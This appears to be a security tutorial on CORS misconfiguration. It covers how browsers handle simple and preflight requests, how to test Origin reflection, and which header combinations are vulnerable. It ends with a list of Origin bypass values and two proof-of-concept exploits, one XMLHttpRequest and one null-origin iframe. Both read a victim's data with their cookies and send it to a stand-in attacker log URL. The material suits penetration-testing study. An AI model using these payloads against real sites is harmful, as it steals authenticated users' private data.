Exploring CORS Misconfiguration Vulnerabilities in Modern Applications

What is CORS?

Cross-Origin Resource Sharing (CORS) is a mechanism that enables web servers to specify which origins are allowed to access their resources.It is designed to extend the SOP while maintaining security by controlling cross-origin requests.

CORS allows web servers to define which origins can access their resources. This mechanism ensures security while enabling necessary cross-origin interactions. However, attackers can exploit CORS misconfigurations to bypass restrictions, leading to unauthorized access or data leakage.

How Browsers Handle CORS Requests

Browsers play a key role in enforcing CORS by determining how cross-origin requests are processed. When making HTTP requests on behalf of users, browsers impose the following restrictions:

Simple HTTP Requests: These are allowed without additional checks.Preflight HTTP Requests: These are required for more complex requests to confirm permissions before proceeding.DevTool(consol)

Simple HTTP Request

A simple HTTP request must meet specific criteria:

Permitted Methods:
- GET, POST, HEADAllowed Headers:
- Only certain headers can be included, and original headers cannot be altered. (Learn more)Content Types:
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain

For detailed information, refer to the Mozilla Developer Network (MDN) guide.

Preflight HTTP Request

For non-simple HTTP requests, a preflight request (using the HTTP OPTIONS method) is sent to verify if the server permits the intended operation.

If the server approves the request, it responds with specific headers, allowing the browser to proceed with the actual request.

Key preflight headers include:
Access-Control-Max-Age: Specifies how long (in seconds) the preflight response can be cached.
Access-Control-Allow-Methods: Lists the HTTP methods permitted for the resource.
Access-Control-Allow-Headers: Defines valid custom headers allowed in the request.

CORS misconfigurations pose a significant security risk to web applications, potentially leading to:

• Compromise of the application: Misconfigured CORS headers can expose sensitive endpoints, leaving the application vulnerable to exploitation.

• Data confidentiality and integrity issues: Attackers can access or manipulate user data by exploiting CORS flaws.

• Unauthorized privileged requests: Third-party websites can exploit authenticated user sessions to perform actions on behalf of the user, such as:

Retrieving personal information (e.g., user settings or saved payment data).Manipulating or extracting sensitive data without the user’s knowledge.

The vulnerability exists here because browsers send Cookies automatically .

So CORS misconfiguration happens when:

• There is an endpoint which returns users’ sensitive information and accepts arbitrary Origin + ACAC.

The endpoint works by Cookies (not tokens or other mechanisms).

Detecting CORS misconfigurations: following steps

Check Cookie Usage: Verify if the application relies on cookies for authentication.Confirm CORS: Identify if CORS headers are implemented, even if absent, continue testing.Locate Sensitive Endpoints: Target endpoints that return sensitive data, especially those requiring authentication.Set the Origin Header: Test with the application’s own domain and check for Access-Control-Allow-Origin (ACAO) and Access-Control-Allow-Credentials (ACAC).Attempt Bypasses: Use untrusted domains in the Origin header and test if the server reflects it or exposes sensitive data.Origin: https://domain.tld.attacker.com
Origin: https://domain.tldattacker.com
Origin: https://attacker.comdomain.tld
Origin: https://subdomain.attackerdomain.tld
Origin: https://subdomain.domainattacker.tld
Origin: https://subdomain.domain.attacker.tld
Origin: attacker.computer
Origin: accounts.credit
Origin: null --> localFile

The Vulnerable CORS Cases

Case 1:

Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: True

Case 2:

Access-Control-Allow-Origin: https://company.com.attacker.com
Access-Control-Allow-Credentials: True

Case 3 :

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: True

Case 4:

Access-Control-Allow-Origin: https://anysub.company.com
Access-Control-Allow-Credentials: Truevar xhr = new XMLHttpRequest();
xhr.open("GET", "https://domain.tld/api/information/me", true);
xhr.withCredentials = true;

xhr.onload = function () {
if (xhr.status === 200) {
document.location = "//attacker.com/log?key=" + encodeURIComponent(xhr.responseText);
}
};

xhr.send();

for origin: null :

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>